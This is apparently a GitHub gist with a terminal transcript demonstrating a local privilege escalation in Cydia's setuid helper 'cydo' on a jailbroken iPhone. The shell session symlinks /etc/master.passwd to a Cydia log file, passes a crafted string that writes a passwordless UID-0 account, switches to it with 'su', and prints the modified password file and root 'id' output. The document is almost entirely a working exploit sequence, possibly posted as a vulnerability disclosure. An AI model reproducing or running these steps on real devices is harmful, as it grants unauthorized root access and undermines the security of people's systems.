Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Cydo Arbitrary Write Local Privilege Escalation
Hakans-iPhone:/var/tmp mobile$ ln -s /etc/master.passwd
Hakans-iPhone:/var/tmp mobile$ mv master.passwd cydia.log
Hakans-iPhone:/var/tmp mobile$ /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"
thou shalt not pass
Hakans-iPhone:/var/tmp mobile$ su cydo
Hakans-iPhone:/var/tmp root# cat /etc/master.passwd
##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:REDACTED:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:REDACTED:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
_neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
_distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
cydo: :0:0::0:0:System Administrator:/var/root:/bin/sh
Hakans-iPhone:/var/tmp root# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Hakans-iPhone:/var/tmp root# uname -a
Darwin Hakans-iPhone 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin
Hakans-iPhone:/var/tmp root#
@PythEch

This comment has been minimized.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.